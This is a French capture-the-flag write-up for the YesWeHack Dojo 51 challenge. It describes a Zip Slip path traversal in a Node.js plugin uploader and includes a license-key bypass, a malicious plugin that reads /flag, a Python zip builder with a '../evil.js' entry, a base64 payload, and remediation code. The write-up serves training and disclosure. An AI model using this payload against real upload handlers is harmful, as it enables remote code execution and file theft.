| Filename | Latest commit message | Latest commit date |
|---|---|---|
| exploit-chain.png | ||
| readme.md | ||
Path Traversal on dojo-yeswehack.com through /challenge-of-the-month/dojo-51 via POST parameter "zipData"
Ce document est mon propre rapport, tel qu'il a été soumis à YesWeHack pour le challenge Dojo 51.
Description
DeadBolt est une app Node.js qui permet d'uploader des plugins en ZIP. Le ZIP est extrait dans /tmp/app/plugins/archive/, puis les plugins sont chargés depuis /tmp/app/plugins/.
Une faille de type Zip Path Traversal (CWE-22) permet d'écrire un fichier JS malveillant dans le dossier parent /tmp/app/plugins/ au lieu de archive/.
Le plugin est ensuite automatiquement chargé par require(), ce qui donne une exécution de code arbitraire (RCE) et permet de lire le flag.
En lisant le code, j'ai vu que la bibliothèque yauzl était configurée avec deux options qui s'annulent (lignes 29-33) :
// Unzip a zip file to a specific destination
function unzip(filename, dest) {
const options = {
lazyEntries: true,
strictFileNames: true, // censé bloquer "../"
decodeStrings: false // rend strictFileNames inopérante
};
Or, la documentation officielle de yauzl est claire sur le sujet. Dans la section open() :
When
decodeStringsisfalse,strictFileNameshas no effect.
Et dans la section fileName :
If
decodeStringsisfalse[...] this field is the undecodedBufferinstead of a decodedString. [...] no automatic file name validation is performed for this file name.
Concrètement, decodeStrings: false empêche validateFileName() d'être appelée, donc le check ../ n'a jamais lieu (source).
strictFileNames: true ne sert à rien dans ce cas.
Le ../evil.js dans le zip passe sans être filtré, et path.join() normalise le chemin vers le dossier parent.
C'est un Zip Slip classique (Snyk, CWE-22).
Exploitation
L'attaque combine 4 étapes, regroupées en 3 phases dans le schéma ci-dessous :
Étape 1 : Contournement de la clé de licence
La fonction validateKey() vérifie 4 contraintes sur une clé hex de 16 chars.
Découpée en 4 blocs A, B, C, D (16 bits chacun). Aucun secret, juste des maths.
En mettant les variables libres à zéro, on obtient:
| Bloc | Contrainte | Valeur | Justification |
|---|---|---|---|
| A | Premier nibble = 0xA ou 0xC |
0xA000 |
12 bits libres sur 16, nibble fort = A, reste à zéro |
| B | (B_low ^ A_low) === 0x37 |
0x0037 |
8 bits libres (octet haut), octet bas = 0x00 ^ 0x37 = 0x37 |
| C | Multiple de 7 | 0x0000 |
~9362 valeurs valides (~13 bits effectifs), 0 est le plus simple |
| D | Checksum (Math.imul(seed, 1103515245)+1337) & 0xFFFF | 0xFEA4 |
0 bit libre : seed = A^B^C = 0xA037, donc D = 0xFEA4 |
Clé finale : A00000370000FEA4 ou A000-0037-0000-FEA4
Étape 2 : Création du plugin malveillant
Le plugin doit exporter trois méthodes pour passer les vérifications de loadPlugin() et être exécuté par main():
module.exports = {
getName: () => 'evil', // requis par main() pour sélectionner le plugin
get: () => 'pwned', // requis par loadPlugin() : typeof get === "function"
run: () => { // exécuté si getName() === pluginToRun
const fs = require('fs');
const flag = fs.readFileSync('/flag', 'utf8');
process.stdout.write(`[FLAG] ${flag}`);
}
};
Étape 3 : Fabrication du zip avec path traversal
Le zip contient une seule entrée nommée ../evil.js.
Le ../ sert à sortir du dossier archive/ via path.join().
import zipfile, base64
with zipfile.ZipFile('evil.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('../evil.js', open('evil.js', 'rb').read())
with open('evil.zip', 'rb') as f:
zip_b64 = base64.b64encode(f.read()).decode()
Vérification : unzip -l evil.zip confirme la présence de l'entrée ../evil.js.
Étape 4 : Injection dans l'interface DOJO
Sur la page https://dojo-yeswehack.com/challenge-of-the-month/dojo-51, dans l'onglet INPUT, les trois paramètres sont renseignés :
| Paramètre | Valeur |
|---|---|
key |
A00000370000FEA4 |
pluginToRun |
evil |
zipData |
(voir bloc ci-dessous) |
Le paramètre pour zipData contient l'archive ZIP encodée en B64:
UEsDBBQAAAAIAEWTyFyq3OsR8wEAABwEAAAKAAAALi4vZXZpbC5qc31TwY7aMBC9+yvmsFIc
CZlrtYhKq6r0si2rlp5YtHidCXhJ7NSeUBDNv1cTCCSqtjnF897MPL8ZG+8iwQnwgObH0Rlo
YAoBf9U2oEzM1hbZSxW8wRiTdCJMS89jn5T3kErTto/xmVGR186Q9Q5y67JZoTcyhZMAGI9h
EY5gfFkyWOgNFN5opkYBcK5qtMtspgm571IAACRj5iajy4HKaqyr6v2gogMNgH+YA9ZqIgBy
H0BeFIDPezLO2gEoHC9/V6neETqCKeRRBdTZzBbIxkozgqSm/EOSKgq2lCm34M/mbRdOSyEg
1cF1Zc6UBowmswWJKZwaAdDcjEO3Hypd7kawX7Hc+esbGlLoKFiM8jJFhW6fdvq59U6R/1lV
GD7piDJV1pmizjDKZPb48CVJr5r2k1vrR8trYAuMoCPkuihetdmJviNnOcF7YgvizZHMhtaQ
ZMybcaNSWb3LpLIaknX1XzLPvUu4yF9/n88X93B3ukpSb946mYyStIE/sPj6xGinQg3Ah6cW
7Lr2wHXrSn9Cg6afQ/CBU1GVGKPe4CVDNKJ7Tbz0097DmAhR+qwuUOGh8oH4klx1g/RNl3gP
MoXpR0hwb4t2WzdIXZCLcSjUrgudBXXjj5T5mtTvYAnl+tktecoruDtxZvPs1q1rjWgm4i9Q
SwECFAMUAAAACABFk8hcqtzrEfMBAAAcBAAACgAAAAAAAAAAAAAAgAEAAAAALi4vZXZpbC5q
c1BLBQYAAAAAAQABADgAAAAbAgAAAAA=
Lors de l'exécution, le flux se produit :
validateKey("A00000370000FEA4")retournetrue(code.js L10-25)- Le ZIP est décodé et sauvegardé dans /tmp/upload_XXXX.zip (L114)
unzip()extrait l'entrée../evil.js, non filtrée cardecodeStrings: falseempêchevalidateFileName()d'être appelée (L28-68)path.join('/tmp/app/plugins/archive/', '../evil.js')normalise vers/tmp/app/plugins/evil.js(L44)fs.createWriteStream()écrit le plugin dans le dossier scanné pargetPlugins()(L51)getPlugins('/tmp/app/plugins')trouveevil.jset le charge viarequire()(L71-79, L89)getName()retourne"evil", ce qui correspond àpluginToRun(L123-124)run()(du pluginevil.js) est exécuté :fs.readFileSync('/flag')lit le flag
POC
Preuve de l'exécution
Les 3 valeurs envoyées dans l'onglet INPUTS renvoient directement le flag en sortie.
Reproduction
#!/usr/bin/env python3
import zipfile, base64
# 1. Plugin malveillant : exporte getName(), get(), run()
evil_js = """
module.exports = {
getName: () => 'evil',
get: () => 'pwned',
run: () => {
const fs = require('fs');
process.stdout.write(fs.readFileSync('/flag', 'utf8'));
}
};
"""
# 2. ZIP avec path traversal : l'entrée ../evil.js écrit dans /tmp/app/plugins/
with zipfile.ZipFile('evil.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('../evil.js', evil_js.encode())
print(base64.b64encode(open('evil.zip', 'rb').read()).decode())
Ce
evil.jsminimal lit directement/flag. LezipDatabase64 fourni à l'étape 4 embarque une variante équivalente qui sonde plusieurs emplacements (/flagen priorité, puis/tmp/app/flag, variables d'environnement*FLAG*, listing en dernier recours) pour fiabiliser la récupération.
Exécuter ce script, puis sur https://dojo-yeswehack.com/challenge-of-the-month/dojo-51, onglet INPUTS :
key=A00000370000FEA4pluginToRun=evilzipData= (sortie base64 du script ci-dessus)
Risque
- CWE : CWE-22 Improper Limitation of a Pathname to a Restricted Directory
- CVSS : 9.8 (CRITICAL) :
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Impact : Exécution de code arbitraire sur le serveur.
- Lecture de fichiers sensibles (
/flag, configuration, clés). - Écriture de fichiers arbitraires dans le dossier des plugins.
- Prise de contrôle complète du processus Node.js.
- Atteinte à l'intégrité de la plateforme (plugins modifiables par un tiers)
- Lecture de fichiers sensibles (
- Prérequis : Aucun. La clé de licence se calcule via une équation déterministe sans secret.
Un attaquant non authentifié pourrait lire les plugins d'autres membres, modifier des plugins légitimes, ou exécuter des commandes sur le serveur (reverse shell, exfiltration de données).
Remédiation
1. Ne pas utiliser decodeStrings: false avec strictFileNames: true
la correction minimale consiste à passer decodeStrings: true (la valeur par défaut de yauzl).
Cela réactive validateFileName() et rend strictFileNames: true effectif.
const options = {
lazyEntries: true,
strictFileNames: true,
decodeStrings: true // ← réactive la validation des noms de fichiers
};
2. Défense en profondeur : vérifier le chemin après path.join()
Même avec yauzl correctement configuré, une vérification explicite du chemin résolu protège contre d'éventuelles failles futures de la bibliothèque :
const destpath = path.join(dest, filenameStr);
const resolvedDest = path.resolve(destpath);
const allowedBase = path.resolve(dest);
if (!resolvedDest.startsWith(allowedBase + path.sep)) {
throw new Error('Path traversal detected');
}
3. Clé de licence robuste
Remplacer l'équation déterministe par une vérification cryptographique (HMAC-SHA256 ou signature Ed25519) avec clé secrète stockée coté serveur.
Références
- yauzl README : open() options : strictFileNames n'a aucun effet quand decodeStrings est false
- yauzl README : fileName : aucune validation automatique si decodeStrings est false
- yauzl index.js#L358-L366 : if (self.decodeStrings) : branche qui court-circuite la validation
- yauzl index.js#L871-L881 : fonction validateFileName() qui bloque ../ quand elle est appelée
- CWE-22 : Improper Limitation of a Pathname to a Restricted Directory
- Zip Slip Vulnerability (Snyk) : description générale de l'attaque Zip Slip
Divulgation
YesWeHack ayant publié la correction officielle de ce challenge, les réponses sont désormais publiques :
